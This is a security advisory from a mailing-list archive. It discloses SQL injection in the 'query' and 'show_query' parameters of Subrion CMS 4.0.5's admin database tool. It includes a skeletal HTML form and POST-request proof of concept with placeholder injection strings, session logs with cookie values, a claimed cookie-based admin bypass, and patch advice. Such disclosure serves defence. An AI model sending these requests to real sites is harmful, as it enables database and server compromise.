Full Disclosure mailing list archives

Subrion v4.0.5 CMS - SQL Injection Vulnerability

From: Vulnerability Lab <research () vulnerability-lab com>
Date: Fri, 5 Aug 2016 09:28:47 +0200
Document Title:
===============
Subrion v4.0.5 CMS - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1893


Release Date:
=============
2016-08-04


Vulnerability Laboratory ID (VL-ID):
====================================
1893


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
Subrion is a full featured open source CMS written in PHP 5 & MySQL with many options. Here is the list of the most 
important features.
You don't need to pay a single penny to start using Subrion CMS. It's not encrypted in any way so you can customize it 
per your needs.
It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of 
the content.

(Copy of the Vendor Homepage: http://www.subrion.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the Subrion v4.0.5 
content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Intelliants LLC
Product: Subrion - Content Management System (Web-Application) 4.0.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the Subrion v4.0.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

The sql-injection vulnerability is located in the `query` and ` show_query` parameters of the `.database/sql/` module 
POST 
method request. Remote attackers are able to execute own sql commands by usage of the insecure sql management tool 
request. 
The attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring 
system) count of 7.0.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged 
web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and 
web-application compromise.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] ./database/sql/

Vulnerable Parameter(s):
                                [+] show_query
                                [+] query


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with privileged web-application user account and without user 
interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


PoC: Exploitation
<html>
<head><body>
<title>Subrion CMS - Remote SQL Injection PoC</title>
<form action="http://subrion.localhost:8080/admin/database/sql/"; method="post">
  <input query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input show_query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input exec_query="Go" value"Go"
  <button>Send POST Method Request</button>
</body></head>
</form>
</html>


POST /admin/database/sql/ HTTP/1.1
Host: http://subrion.localhost:8080
query=[SQL-INJECTION VULNERABILITY!]&show_query=[SQL-INJECTION VULNERABILITY!]&exec_query=Go


--- SQL Error Exception Logs ---
You have an error in your SQL syntax;
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'command `extras`' at 
line 1}


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST /database/sql/ 
Mime Type[text/html]
   Request Header:
      Host[subrion.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[/admin/database/sql/]
      Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; 
INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; 
loader=loaded; INTELLI_a1ef1b4b28=63c87c36882a10136a627aea5a94a581; _ga=GA1.2.1118331789.1469788535; _gat=1]
      Connection[keep-alive]
   POST-Daten:
      __st[6a4bf637dc90a9d8dd203fff134f8140]
      query[-1'SQL-INJECTION VULNERABILITY!]
      show_query[-1'SQL-INJECTION VULNERABILITY!]
      exec_query[Go]
   Response Header:
      Date[Fri, 29 Jul 2016 10:38:22 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.5.30]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; expires=Fri, 29-Jul-2016 11:08:22 GMT; 
Max-Age=1800]
      Vary[Accept-Encoding]
      Content-Length[5329]
      Content-Type[text/html]


Note:   Use the permanent cookie to trigger the bug remotly on default setup without admin access credentials.
Cookie: [f98078af3840ae5ba4a4800445924360] & [63c87c36882a10136a627aea5a94a581]


Reference(s):
http://subrion.localhost:8080/
http://subrion.localhost:8080/admin/
http://subrion.localhost:8080/admin/database/
http://subrion.localhost:8080/admin/database/sql/


Solution - Fix & Patch:
=======================
The sql-injection vulnerability can be patched by usage of a prepared statement in the sql database tool POST method 
request.
Parse and filter the parameter input of the query and show_query values. Disallow the usage of special chars to prevent 
further attacks.
Escape the entries to ensure the context is secure transmitted via POST method request.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the `query` and `show_query` parameters of 
the`/database/sql/`module is estimated high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com] 
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if 
Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack 
into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                              - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                             - admin 
() evolution-sec com
Section:    magazine.vulnerability-lab.com      - vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab                                 - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are 
reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research () vulnerability-lab 
com) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:

Subrion v4.0.5 CMS - SQL Injection Vulnerability Vulnerability Lab (Aug 05)